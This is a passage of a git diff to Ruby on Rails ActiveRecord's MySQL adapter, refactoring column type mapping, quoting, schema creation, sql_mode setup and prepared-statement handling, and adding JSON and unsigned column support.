#{index_type} INDEX #{quote_column_name(index_name)} #{index_using} ON #{quote_table_name(table_name)} (#{index_columns})#{index_options} #{index_algorithm}" + index_name, index_type, index_columns, _, index_algorithm, index_using, comment = add_index_options(table_name, column_name, options) + sql = "CREATE #{index_type} INDEX #{quote_column_name(index_name)} #{index_using} ON #{quote_table_name(table_name)} (#{index_columns}) #{index_algorithm}" + execute add_sql_comment!(sql, comment) + end + + def add_sql_comment!(sql, comment) # :nodoc: + sql << " COMMENT #{quote(comment)}" if comment + sql end def foreign_keys(table_name) + raise ArgumentError unless table_name.present? + + schema, name = extract_schema_qualified_name(table_name) + fk_info = select_all <<-SQL.strip_heredoc SELECT fk.referenced_table_name as 'to_table' ,fk.referenced_column_name as 'primary_key' @@ -613,11 +522,11 @@ module ActiveRecord ,fk.constraint_name as 'name' FROM information_schema.key_column_usage fk WHERE fk.referenced_column_name is not null - AND fk.table_schema = '#{@config[:database]}' - AND fk.table_name = '#{table_name}' + AND fk.table_schema = #{quote(schema)} + AND fk.table_name = #{quote(name)} SQL - create_table_info = select_one("SHOW CREATE TABLE #{quote_table_name(table_name)}")["Create Table"] + create_table_info = create_table_info(table_name) fk_info.map do |row| options = { @@ -633,82 +542,92 @@ module ActiveRecord end end + def table_options(table_name) + create_table_info = create_table_info(table_name) + + # strip create_definitions and partition_options + raw_table_options = create_table_info.sub(/\A.*\n\) /m, '').sub(/\n\/\*!.*\*\/\n\z/m, '').strip + + # strip AUTO_INCREMENT + raw_table_options.sub!(/(ENGINE=\w+)(?: AUTO_INCREMENT=\d+)/, '\1') + + # strip COMMENT + raw_table_options.sub!(/ COMMENT='.+'/, '') + + raw_table_options + end + # Maps logical Rails types to MySQL-specific data types. - def type_to_sql(type, limit = nil, precision = nil, scale = nil) - case type.to_s - when 'binary' - case limit - when 0..0xfff; "varbinary(#{limit})" - when nil; "blob" - when 0x1000..0xffffffff; "blob(#{limit})" - else raise(ActiveRecordError, "No binary type has character length #{limit}") - end + def type_to_sql(type, limit = nil, precision = nil, scale = nil, unsigned = nil) + sql = case type.to_s when 'integer' - case limit - when 1; 'tinyint' - when 2; 'smallint' - when 3; 'mediumint' - when nil, 4, 11; 'int(11)' # compatibility with MySQL default - when 5..8; 'bigint' - else raise(ActiveRecordError, "No integer type has byte size #{limit}") - end + integer_to_sql(limit) when 'text' - case limit - when 0..0xff; 'tinytext' - when nil, 0x100..0xffff; 'text' - when 0x10000..0xffffff; 'mediumtext' - when 0x1000000..0xffffffff; 'longtext' - else raise(ActiveRecordError, "No text type has character length #{limit}") + text_to_sql(limit) + when 'blob' + binary_to_sql(limit) + when 'binary' + if (0..0xfff) === limit + "varbinary(#{limit})" + else + binary_to_sql(limit) end else - super + super(type, limit, precision, scale) end + + sql << ' unsigned' if unsigned && type != :primary_key + sql end # SHOW VARIABLES LIKE 'name' def show_variable(name) - variables = select_all("SHOW VARIABLES LIKE '#{name}'", 'SCHEMA') - variables.first['Value'] unless variables.empty? + select_value("SELECT @@#{name}", 'SCHEMA') + rescue ActiveRecord::StatementInvalid + nil end - # Returns a table's primary key and belonging sequence. - def pk_and_sequence_for(table) - execute_and_free("SHOW CREATE TABLE #{quote_table_name(table)}", 'SCHEMA') do |result| - create_table = each_hash(result).first[:"Create Table"] - if create_table.to_s =~ /PRIMARY KEY\s+(?:USING\s+\w+\s+)?\((.+)\)/ - keys = $1.split(",").map { |key| key.delete('`"') } - keys.length == 1 ? [keys.first, nil] : nil - else - nil - end - end - end + def primary_keys(table_name) # :nodoc: + raise ArgumentError unless table_name.present? - # Returns just a table's primary key - def primary_key(table) - pk_and_sequence = pk_and_sequence_for(table) - pk_and_sequence && pk_and_sequence.first - end + schema, name = extract_schema_qualified_name(table_name) - def case_sensitive_modifier(node, table_attribute) - node = Arel::Nodes.build_quoted node, table_attribute - Arel::Nodes::Bin.new(node) + select_values(<<-SQL.strip_heredoc, 'SCHEMA') + SELECT column_name + FROM information_schema.key_column_usage + WHERE constraint_name = 'PRIMARY' + AND table_schema = #{quote(schema)} + AND table_name = #{quote(name)} + ORDER BY ordinal_position + SQL end def case_sensitive_comparison(table, attribute, column, value) - if column.case_sensitive? - table[attribute].eq(value) + if !value.nil? && column.collation && !column.case_sensitive? + table[attribute].eq(Arel::Nodes::Bin.new(Arel::Nodes::BindParam.new)) else super end end - def case_insensitive_comparison(table, attribute, column, value) - if column.case_sensitive? - super - else - table[attribute].eq(value) - end + def can_perform_case_insensitive_comparison_for?(column) + column.case_sensitive? + end + private :can_perform_case_insensitive_comparison_for? + + # In MySQL 5.7.5 and up, ONLY_FULL_GROUP_BY affects handling of queries that use + # DISTINCT and ORDER BY. It requires the ORDER BY columns in the select list for + # distinct queries, and requires that the ORDER BY include the distinct column. + # See https://dev.mysql.com/doc/refman/5.7/en/group-by-handling.html + def columns_for_distinct(columns, orders) # :nodoc: + order_columns = orders.reject(&:blank?).map { |s| + # Convert Arel node to string + s = s.to_sql unless s.is_a?(String) + # Remove any ASC/DESC modifiers + s.gsub(/\s+(?:ASC|DESC)\b/i, '') + }.reject(&:blank?).map.with_index { |column, i| "#{column} AS alias_#{i}" } + + [super, *order_columns].join(', ') end def strict_mode? @@ -736,6 +655,7 @@ module ActiveRecord m.register_type %r(longblob)i, Type::Binary.new(limit: 2**32 - 1) m.register_type %r(^float)i, Type::Float.new(limit: 24) m.register_type %r(^double)i, Type::Float.new(limit: 53) + m.register_type %r(^json)i, MysqlJson.new register_integer_type m, %r(^bigint)i, limit: 8 register_integer_type m, %r(^int)i, limit: 4 @@ -743,8 +663,7 @@ module ActiveRecord register_integer_type m, %r(^smallint)i, limit: 2 register_integer_type m, %r(^tinyint)i, limit: 1 - m.alias_type %r(tinyint\(1\))i, 'boolean' if emulate_booleans - m.alias_type %r(set)i, 'varchar' + m.register_type %r(^tinyint\(1\))i, Type::Boolean.new if emulate_booleans m.alias_type %r(year)i, 'integer' m.alias_type %r(bit)i, 'binary' @@ -753,11 +672,17 @@ module ActiveRecord .split(',').map{|enum| enum.strip.length - 2}.max MysqlString.new(limit: limit) end + + m.register_type(%r(^set)i) do |sql_type| + limit = sql_type[/^set\((.+)\)/i, 1] + .split(',').map{|set| set.strip.length - 1}.sum - 1 + MysqlString.new(limit: limit) + end end def register_integer_type(mapping, key, options) # :nodoc: mapping.register_type(key) do |sql_type| - if /unsigned/i =~ sql_type + if /\bunsigned\z/ === sql_type Type::UnsignedInteger.new(options) else Type::Integer.new(options) @@ -773,21 +698,8 @@ module ActiveRecord end end - def fetch_type_metadata(sql_type, collation = "", extra = "") - MysqlTypeMetadata.new(super(sql_type), collation: collation, extra: extra, strict: strict_mode?) - end - - # MySQL is too stupid to create a temporary table for use subquery, so we have - # to give it some prompting in the form of a subsubquery. Ugh! - def subquery_for(key, select) - subsubselect = select.clone - subsubselect.projections = [key] - - subselect = Arel::SelectManager.new(select.engine) - subselect.project Arel.sql(key.name) - # Materialized subquery by adding distinct - # to work with MySQL 5.7.6 which sets optimizer_switch='derived_merge=on' - subselect.from subsubselect.distinct.as('__active_record_temp') + def fetch_type_metadata(sql_type, extra = "") + MySQL::TypeMetadata.new(super(sql_type), extra: extra, strict: strict_mode?) end def add_index_length(option_strings, column_names, options = {}) @@ -818,9 +730,11 @@ module ActiveRecord def translate_exception(exception, message) case error_number(exception) when 1062 - RecordNotUnique.new(message, exception) + RecordNotUnique.new(message) when 1452 - InvalidForeignKey.new(message, exception) + InvalidForeignKey.new(message) + when 1406 + ValueTooLong.new(message) else super end @@ -829,7 +743,7 @@ module ActiveRecord def add_column_sql(table_name, column_name, type, options = {}) td = create_table_definition(table_name) cd = td.new_column_definition(column_name, type, options) - schema_creation.visit_AddColumn cd + schema_creation.accept(AddColumnDefinition.new(cd)) end def change_column_sql(table_name, column_name, type, options = {}) @@ -871,8 +785,9 @@ module ActiveRecord end def add_index_sql(table_name, column_name, options = {}) - index_name, index_type, index_columns = add_index_options(table_name, column_name, options) - "ADD #{index_type} INDEX #{index_name} (#{index_columns})" + index_name, index_type, index_columns, _, index_algorithm, index_using = add_index_options(table_name, column_name, options) + index_algorithm[0, 0] = ", " if index_algorithm.present? + "ADD #{index_type} INDEX #{quote_column_name(index_name)} #{index_using} (#{index_columns})#{index_algorithm}" end def remove_index_sql(table_name, options = {}) @@ -890,23 +805,29 @@ module ActiveRecord private - def version - @version ||= full_version.scan(/^(\d+)\.(\d+)\.(\d+)/).flatten.map(&:to_i) - end + # MySQL is too stupid to create a temporary table for use subquery, so we have + # to give it some prompting in the form of a subsubquery. Ugh! + def subquery_for(key, select) + subsubselect = select.clone + subsubselect.projections = [key] - def mariadb? - full_version =~ /mariadb/i + # Materialize subquery by adding distinct + # to work with MySQL 5.7.6 which sets optimizer_switch='derived_merge=on' + subsubselect.distinct unless select.limit || select.offset || select.orders.any? + + subselect = Arel::SelectManager.new(select.engine) + subselect.project Arel.sql(key.name) + subselect.from subsubselect.as('__active_record_temp') end def supports_rename_index? - mariadb? ? false : (version[0] == 5 && version[1] >= 7) || version[0] >= 6 + mariadb? ? false : version >= '5.7.6' end def configure_connection variables = @config.fetch(:variables, {}).stringify_keys - # By default, MySQL 'where id is null' selects the last inserted id. - # Turn this off. http://dev.rubyonrails.org/ticket/6778 + # By default, MySQL 'where id is null' selects the last inserted id; Turn this off. variables['sql_auto_is_null'] = 0 # Increase timeout so the server doesn't disconnect us. @@ -914,15 +835,27 @@ module ActiveRecord wait_timeout = 2147483 unless wait_timeout.is_a?(Fixnum) variables['wait_timeout'] = self.class.type_cast_config_to_integer(wait_timeout) + defaults = [':default', :default].to_set + # Make MySQL reject illegal values rather than truncating or blanking them, see - # http://dev.mysql.com/doc/refman/5.6/en/server-sql-mode.html#sqlmode_strict_all_tables + # http://dev.mysql.com/doc/refman/5.7/en/sql-mode.html#sqlmode_strict_all_tables # If the user has provided another value for sql_mode, don't replace it. - unless variables.has_key?('sql_mode') - variables['sql_mode'] = strict_mode? ? 'STRICT_ALL_TABLES' : '' + if sql_mode = variables.delete('sql_mode') + sql_mode = quote(sql_mode) + elsif !defaults.include?(strict_mode?) + if strict_mode? + sql_mode = "CONCAT(@@sql_mode, ',STRICT_ALL_TABLES')" + else + sql_mode = "REPLACE(@@sql_mode, 'STRICT_TRANS_TABLES', '')" + sql_mode = "REPLACE(#{sql_mode}, 'STRICT_ALL_TABLES', '')" + sql_mode = "REPLACE(#{sql_mode}, 'TRADITIONAL', '')" + end + sql_mode = "CONCAT(#{sql_mode}, ',NO_AUTO_VALUE_ON_ZERO')" end + sql_mode_assignment = "@@SESSION.sql_mode = #{sql_mode}, " if sql_mode # NAMES does not have an equals sign, see - # http://dev.mysql.com/doc/refman/5.6/en/set-statement.html#id944430 + # http://dev.mysql.com/doc/refman/5.7/en/set-statement.html#id944430 # (trailing comma because variable_assignments will always have content) if @config[:encoding] encoding = "NAMES #{@config[:encoding]}" @@ -932,7 +865,7 @@ module ActiveRecord # Gather up all of the SET variables... variable_assignments = variables.map do |k, v| - if v == ':default' || v == :default + if defaults.include?(v) "@@SESSION.#{k} = DEFAULT" # Sets the value to the global or compile default elsif !v.nil? "@@SESSION.#{k} = #{quote(v)}" @@ -941,7 +874,13 @@ module ActiveRecord end.compact.join(', ') # ...and send them all in one query - @connection.query "SET #{encoding} #{variable_assignments}" + @connection.query "SET #{encoding} #{sql_mode_assignment} #{variable_assignments}" + end + + def column_definitions(table_name) # :nodoc: + execute_and_free("SHOW FULL FIELDS FROM #{quote_table_name(table_name)}", 'SCHEMA') do |result| + each_hash(result) + end end def extract_foreign_key_action(structure, name, action) # :nodoc: @@ -953,15 +892,68 @@ module ActiveRecord end end - def create_table_definition(name, temporary = false, options = nil, as = nil) # :nodoc: - TableDefinition.new(native_database_types, name, temporary, options, as) + def create_table_info_cache # :nodoc: + @create_table_info_cache ||= {} + end + + def create_table_info(table_name) # :nodoc: + create_table_info_cache[table_name] ||= select_one("SHOW CREATE TABLE #{quote_table_name(table_name)}")["Create Table"] + end + + def create_table_definition(*args) # :nodoc: + MySQL::TableDefinition.new(*args) + end + + def extract_schema_qualified_name(string) # :nodoc: + schema, name = string.to_s.scan(/[^`.\s]+|`[^`]*`/) + schema, name = @config[:database], schema unless name + [schema, name] + end + + def integer_to_sql(limit) # :nodoc: + case limit + when 1; 'tinyint' + when 2; 'smallint' + when 3; 'mediumint' + when nil, 4; 'int' + when 5..8; 'bigint' + else raise(ActiveRecordError, "No integer type has byte size #{limit}") + end + end + + def text_to_sql(limit) # :nodoc: + case limit + when 0..0xff; 'tinytext' + when nil, 0x100..0xffff; 'text' + when 0x10000..0xffffff; 'mediumtext' + when 0x1000000..0xffffffff; 'longtext' + else raise(ActiveRecordError, "No text type has byte length #{limit}") + end + end + + def binary_to_sql(limit) # :nodoc: + case limit + when 0..0xff; 'tinyblob' + when nil, 0x100..0xffff; 'blob' + when 0x10000..0xffffff; 'mediumblob' + when 0x1000000..0xffffffff; 'longblob' + else raise(ActiveRecordError, "No binary type has byte length #{limit}") + end + end + + class MysqlJson < Type::Internal::AbstractJson # :nodoc: + def changed_in_place?(raw_old_value, new_value) + # Normalization is required because MySQL JSON data format includes + # the space between the elements. + super(serialize(deserialize(raw_old_value)), new_value) + end end class MysqlString < Type::String # :nodoc: def serialize(value) case value - when true then "1" - when false then "0" + when true then MySQL::Quoting::QUOTED_TRUE + when false then MySQL::Quoting::QUOTED_FALSE else super end end @@ -970,15 +962,16 @@ module ActiveRecord def cast_value(value) case value - when true then "1" - when false then "0" + when true then MySQL::Quoting::QUOTED_TRUE + when false then MySQL::Quoting::QUOTED_FALSE else super end end end - ActiveRecord::Type.register(:string, MysqlString, adapter: :mysql) + ActiveRecord::Type.register(:json, MysqlJson, adapter: :mysql2) ActiveRecord::Type.register(:string, MysqlString, adapter: :mysql2) + ActiveRecord::Type.register(:unsigned_integer, Type::UnsignedInteger, adapter: :mysql2) end end end diff --git a/activerecord/lib/active_record/connection_adapters/column.rb b/activerecord/lib/active_record/connection_adapters/column.rb index a67127bd71..28f0c8686a 100644 --- a/activerecord/lib/active_record/connection_adapters/column.rb +++ b/activerecord/lib/active_record/connection_adapters/column.rb @@ -1,33 +1,27 @@ -require 'set' - module ActiveRecord # :stopdoc: module ConnectionAdapters # An abstract definition of a column in a table. class Column - FALSE_VALUES = [false, 0, '0', 'f', 'F', 'false', 'FALSE', 'off', 'OFF'].to_set - - module Format - ISO_DATE = /\A(\d{4})-(\d\d)-(\d\d)\z/ - ISO_DATETIME = /\A(\d{4})-(\d\d)-(\d\d) (\d\d):(\d\d):(\d\d)(\.\d+)?\z/ - end - - attr_reader :name, :null, :sql_type_metadata, :default, :default_function + attr_reader :name, :default, :sql_type_metadata, :null, :table_name, :default_function, :collation, :comment delegate :precision, :scale, :limit, :type, :sql_type, to: :sql_type_metadata, allow_nil: true # Instantiates a new column in the table. # - # +name+ is the column's name, such as <tt>supplier_id</tt> in <tt>supplier_id int(11)</tt>. + # +name+ is the column's name, such as <tt>supplier_id</tt> in <tt>supplier_id int</tt>. # +default+ is the type-casted default value, such as +new+ in <tt>sales_stage varchar(20) default 'new'</tt>. # +sql_type_metadata+ is various information about the type of the column # +null+ determines if this column allows +NULL+ values. - def initialize(name, default, sql_type_metadata = nil, null = true, default_function = nil) - @name = name + def initialize(name, default, sql_type_metadata = nil, null = true, table_name = nil, default_function = nil, collation = nil, comment: nil) + @name = name.freeze + @table_name = table_name @sql_type_metadata = sql_type_metadata @null = null @default = default @default_function = default_function + @collation = collation + @comment = comment end def has_default? @@ -35,7 +29,7 @@ module ActiveRecord end def bigint? - /bigint/ === sql_type + /\Abigint\b/ === sql_type end # Returns the human name of the column name. @@ -59,7 +53,7 @@ module ActiveRecord protected def attributes_for_hash - [self.class, name, default, sql_type_metadata, null, default_function] + [self.class, name, default, sql_type_metadata, null, table_name, default_function, collation] end end diff --git a/activerecord/lib/active_record/connection_adapters/connection_specification.rb b/activerecord/lib/active_record/connection_adapters/connection_specification.rb index 08d46fca96..901c98b22b 100644 --- a/activerecord/lib/active_record/connection_adapters/connection_specification.rb +++ b/activerecord/lib/active_record/connection_adapters/connection_specification.rb @@ -3,10 +3,10 @@ require 'uri' module ActiveRecord module ConnectionAdapters class ConnectionSpecification #:nodoc: - attr_reader :config, :adapter_method + attr_reader :name, :config, :adapter_method - def initialize(config, adapter_method) - @config, @adapter_method = config, adapter_method + def initialize(name, config, adapter_method) + @name, @config, @adapter_method = name, config, adapter_method end def initialize_dup(original) @@ -33,7 +33,7 @@ module ActiveRecord def initialize(url) raise "Database URL cannot be empty" if url.blank? @uri = uri_parser.parse(url) - @adapter = @uri.scheme.tr('-', '_') + @adapter = @uri.scheme && @uri.scheme.tr('-', '_') @adapter = "postgresql" if @adapter == "postgres" if @uri.opaque @@ -164,7 +164,7 @@ module ActiveRecord # spec.config # # => { "host" => "localhost", "database" => "foo", "adapter" => "sqlite3" } # - def spec(config) + def spec(config, name = nil) spec = resolve(config).symbolize_keys raise(AdapterNotSpecified, "database configuration does not specify adapter") unless spec.key?(:adapter) @@ -175,11 +175,18 @@ module ActiveRecord rescue Gem::LoadError => e raise Gem::LoadError, "Specified '#{spec[:adapter]}' for database adapter, but the gem is not loaded. Add `gem '#{e.name}'` to your Gemfile (and ensure its version is at the minimum required by ActiveRecord)." rescue LoadError => e - raise LoadError, "Could not load '#{path_to_adapter}'. Make sure that the adapter in config/database.yml is valid. If you use an adapter other than 'mysql', 'mysql2', 'postgresql' or 'sqlite3' add the necessary adapter gem to the Gemfile.", e.backtrace + raise LoadError, "Could not load '#{path_to_adapter}'. Make sure that the adapter in config/database.yml is valid. If you use an adapter other than 'mysql2', 'postgresql' or 'sqlite3' add the necessary adapter gem to the Gemfile.", e.backtrace end adapter_method = "#{spec[:adapter]}_connection" - ConnectionSpecification.new(spec, adapter_method) + + name ||= + if config.is_a?(Symbol) + config.to_s + else + "primary" + end + ConnectionSpecification.new(name, spec, adapter_method) end private diff --git a/activerecord/lib/active_record/connection_adapters/determine_if_preparable_visitor.rb b/activerecord/lib/active_record/connection_adapters/determine_if_preparable_visitor.rb new file mode 100644 index 0000000000..0fdc185c45 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/determine_if_preparable_visitor.rb @@ -0,0 +1,22 @@ +module ActiveRecord + module ConnectionAdapters + module DetermineIfPreparableVisitor + attr_reader :preparable + + def accept(*) + @preparable = true + super + end + + def visit_Arel_Nodes_In(*) + @preparable = false + super + end + + def visit_Arel_Nodes_SqlLiteral(*) + @preparable = false + super + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/mysql/column.rb b/activerecord/lib/active_record/connection_adapters/mysql/column.rb new file mode 100644 index 0000000000..9c45fdd44a --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/mysql/column.rb @@ -0,0 +1,50 @@ +module ActiveRecord + module ConnectionAdapters + module MySQL + class Column < ConnectionAdapters::Column # :nodoc: + delegate :strict, :extra, to: :sql_type_metadata, allow_nil: true + + def initialize(*) + super + assert_valid_default + extract_default + end + + def has_default? + return false if blob_or_text_column? # MySQL forbids defaults on blob and text columns + super + end + + def blob_or_text_column? + /\A(?:tiny|medium|long)?blob\b/ === sql_type || type == :text + end + + def unsigned? + /\bunsigned\z/ === sql_type + end + + def case_sensitive? + collation && collation !~ /_ci\z/ + end + + def auto_increment? + extra == 'auto_increment' + end + + private + + def extract_default + if blob_or_text_column? + @default = null || strict ? nil : '' + end + end + + def assert_valid_default + if blob_or_text_column? && default.present? + raise ArgumentError, "#{type} columns cannot have a default value: #{default.inspect}" + end + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb new file mode 100644 index 0000000000..13c9b6cbd9 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/mysql/database_statements.rb @@ -0,0 +1,125 @@ +module ActiveRecord + module ConnectionAdapters + module MySQL + module DatabaseStatements + # Returns an ActiveRecord::Result instance. + def select_all(arel, name = nil, binds = [], preparable: nil) + result = if ExplainRegistry.collect? && prepared_statements + unprepared_statement { super } + else + super + end + @connection.next_result while @connection.more_results? + result + end + + # Returns a record hash with the column names as keys and column values + # as values. + def select_one(arel, name = nil, binds = []) + arel, binds = binds_from_relation(arel, binds) + @connection.query_options.merge!(as: :hash) + select_result(to_sql(arel, binds), name, binds) do |result| + @connection.next_result while @connection.more_results? + result.first + end + ensure + @connection.query_options.merge!(as: :array) + end + + # Returns an array of arrays containing the field values. + # Order is the same as that returned by +columns+. + def select_rows(sql, name = nil, binds = []) + select_result(sql, name, binds) do |result| + @connection.next_result while @connection.more_results? + result.to_a + end + end + + # Executes the SQL statement in the context of this connection. + def execute(sql, name = nil) + if @connection + # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been + # made since we established the connection + @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone + end + + super + end + + def exec_query(sql, name = 'SQL', binds = [], prepare: false) + if without_prepared_statement?(binds) + execute_and_free(sql, name) do |result| + ActiveRecord::Result.new(result.fields, result.to_a) if result + end + else + exec_stmt_and_free(sql, name, binds, cache_stmt: prepare) do |_, result| + ActiveRecord::Result.new(result.fields, result.to_a) if result + end + end + end + + def exec_delete(sql, name, binds) + if without_prepared_statement?(binds) + execute_and_free(sql, name) { @connection.affected_rows } + else + exec_stmt_and_free(sql, name, binds) { |stmt| stmt.affected_rows } + end + end + alias :exec_update :exec_delete + + protected + + def last_inserted_id(result) + @connection.last_id + end + + private + + def select_result(sql, name = nil, binds = []) + if without_prepared_statement?(binds) + execute_and_free(sql, name) { |result| yield result } + else + exec_stmt_and_free(sql, name, binds, cache_stmt: true) { |_, result| yield result } + end + end + + def exec_stmt_and_free(sql, name, binds, cache_stmt: false) + if @connection + # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been + # made since we established the connection + @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone + end + + type_casted_binds = binds.map { |attr| type_cast(attr.value_for_database) } + + log(sql, name, binds) do + if cache_stmt + cache = @statements[sql] ||= { + stmt: @connection.prepare(sql) + } + stmt = cache[:stmt] + else + stmt = @connection.prepare(sql) + end + + begin + result = stmt.execute(*type_casted_binds) + rescue Mysql2::Error => e + if cache_stmt + @statements.delete(sql) + else + stmt.close + end + raise e + end + + ret = yield stmt, result + result.free if result + stmt.close unless cache_stmt + ret + end + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer.rb b/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer.rb new file mode 100644 index 0000000000..1820853196 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/mysql/explain_pretty_printer.rb @@ -0,0 +1,70 @@ +module ActiveRecord + module ConnectionAdapters + module MySQL + class ExplainPrettyPrinter # :nodoc: + # Pretty prints the result of an EXPLAIN in a way that resembles the output of the + # MySQL shell: + # + # +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+ + # | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | + # +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+ + # | 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | | + # | 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where | + # +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+ + # 2 rows in set (0.00 sec) + # + # This is an exercise in Ruby hyperrealism :). + def pp(result, elapsed) + widths = compute_column_widths(result) + separator = build_separator(widths) + + pp = [] + + pp << separator + pp << build_cells(result.columns, widths) + pp << separator + + result.rows.each do |row| + pp << build_cells(row, widths) + end + + pp << separator + pp << build_footer(result.rows.length, elapsed) + + pp.join("\n") + "\n" + end + + private + + def compute_column_widths(result) + [].tap do |widths| + result.columns.each_with_index do |column, i| + cells_in_column = [column] + result.rows.map {|r| r[i].nil? ? 'NULL' : r[i].to_s} + widths << cells_in_column.map(&:length).max + end + end + end + + def build_separator(widths) + padding = 1 + '+' + widths.map {|w| '-' * (w + (padding*2))}.join('+') + '+' + end + + def build_cells(items, widths) + cells = [] + items.each_with_index do |item, i| + item = 'NULL' if item.nil? + justifier = item.is_a?(Numeric) ? 'rjust' : 'ljust' + cells << item.to_s.send(justifier, widths[i]) + end + '| ' + cells.join(' | ') + ' |' + end + + def build_footer(nrows, elapsed) + rows_label = nrows == 1 ? 'row' : 'rows' + "#{nrows} #{rows_label} in set (%.2f sec)" % elapsed + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/mysql/quoting.rb b/activerecord/lib/active_record/connection_adapters/mysql/quoting.rb new file mode 100644 index 0000000000..fbab654112 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/mysql/quoting.rb @@ -0,0 +1,51 @@ +module ActiveRecord + module ConnectionAdapters + module MySQL + module Quoting # :nodoc: + QUOTED_TRUE, QUOTED_FALSE = '1', '0' + + def quote_column_name(name) + @quoted_column_names[name] ||= "`#{super.gsub('`', '``')}`" + end + + def quote_table_name(name) + @quoted_table_names[name] ||= super.gsub('.', '`.`') + end + + def quoted_true + QUOTED_TRUE + end + + def unquoted_true + 1 + end + + def quoted_false + QUOTED_FALSE + end + + def unquoted_false + 0 + end + + def quoted_date(value) + if supports_datetime_with_precision? + super + else + super.sub(/\.\d{6}\z/, '') + end + end + + private + + def _quote(value) + if value.is_a?(Type::Binary::Data) + "x'#{value.hex}'" + else + super + end + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/mysql/schema_creation.rb b/activerecord/lib/active_record/connection_adapters/mysql/schema_creation.rb new file mode 100644 index 0000000000..fd2dc2aee8 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/mysql/schema_creation.rb @@ -0,0 +1,67 @@ +module ActiveRecord + module ConnectionAdapters + module MySQL + class SchemaCreation < AbstractAdapter::SchemaCreation + delegate :add_sql_comment!, to: :@conn + private :add_sql_comment! + + private + + def visit_DropForeignKey(name) + "DROP FOREIGN KEY #{name}" + end + + def visit_ColumnDefinition(o) + o.sql_type = type_to_sql(o.type, o.limit, o.precision, o.scale, o.unsigned) + super + end + + def visit_AddColumnDefinition(o) + add_column_position!(super, column_options(o.column)) + end + + def visit_ChangeColumnDefinition(o) + change_column_sql = "CHANGE #{quote_column_name(o.name)} #{accept(o.column)}" + add_column_position!(change_column_sql, column_options(o.column)) + end + + def add_table_options!(create_sql, options) + add_sql_comment!(super, options[:comment]) + end + + def column_options(o) + column_options = super + column_options[:charset] = o.charset + column_options + end + + def add_column_options!(sql, options) + if charset = options[:charset] + sql << " CHARACTER SET #{charset}" + end + + if collation = options[:collation] + sql << " COLLATE #{collation}" + end + + add_sql_comment!(super, options[:comment]) + end + + def add_column_position!(sql, options) + if options[:first] + sql << " FIRST" + elsif options[:after] + sql << " AFTER #{quote_column_name(options[:after])}" + end + + sql + end + + def index_in_create(table_name, column_name, options) + index_name, index_type, index_columns, _, _, index_using, comment = @conn.add_index_options(table_name, column_name, options) + add_sql_comment!("#{index_type} INDEX #{quote_column_name(index_name)} #{index_using} (#{index_columns})", comment) + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb b/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb new file mode 100644 index 0000000000..157e75dbf7 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/mysql/schema_definitions.rb @@ -0,0 +1,93 @@ +module ActiveRecord + module ConnectionAdapters + module MySQL + module ColumnMethods + def primary_key(name, type = :primary_key, **options) + options[:auto_increment] = true if type == :bigint && !options.key?(:default) + super + end + + def blob(*args, **options) + args.each { |name| column(name, :blob, options) } + end + + def tinyblob(*args, **options) + args.each { |name| column(name, :tinyblob, options) } + end + + def mediumblob(*args, **options) + args.each { |name| column(name, :mediumblob, options) } + end + + def longblob(*args, **options) + args.each { |name| column(name, :longblob, options) } + end + + def tinytext(*args, **options) + args.each { |name| column(name, :tinytext, options) } + end + + def mediumtext(*args, **options) + args.each { |name| column(name, :mediumtext, options) } + end + + def longtext(*args, **options) + args.each { |name| column(name, :longtext, options) } + end + + def json(*args, **options) + args.each { |name| column(name, :json, options) } + end + + def unsigned_integer(*args, **options) + args.each { |name| column(name, :unsigned_integer, options) } + end + + def unsigned_bigint(*args, **options) + args.each { |name| column(name, :unsigned_bigint, options) } + end + + def unsigned_float(*args, **options) + args.each { |name| column(name, :unsigned_float, options) } + end + + def unsigned_decimal(*args, **options) + args.each { |name| column(name, :unsigned_decimal, options) } + end + end + + class ColumnDefinition < ActiveRecord::ConnectionAdapters::ColumnDefinition + attr_accessor :charset, :unsigned + end + + class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition + include ColumnMethods + + def new_column_definition(name, type, options) # :nodoc: + column = super + case column.type + when :primary_key + column.type = :integer + column.auto_increment = true + when /\Aunsigned_(?<type>.+)\z/ + column.type = $~[:type].to_sym + column.unsigned = true + end + column.unsigned ||= options[:unsigned] + column.charset = options[:charset] + column + end + + private + + def create_column_definition(name, type) + MySQL::ColumnDefinition.new(name, type) + end + end + + class Table < ActiveRecord::ConnectionAdapters::Table + include ColumnMethods + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper.rb new file mode 100644 index 0000000000..2ba9657f24 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/mysql/schema_dumper.rb @@ -0,0 +1,54 @@ +module ActiveRecord + module ConnectionAdapters + module MySQL + module ColumnDumper + def column_spec_for_primary_key(column) + if column.bigint? + spec = { id: :bigint.inspect } + spec[:default] = schema_default(column) || 'nil' unless column.auto_increment? + else + spec = super + end + spec[:unsigned] = 'true' if column.unsigned? + spec + end + + def 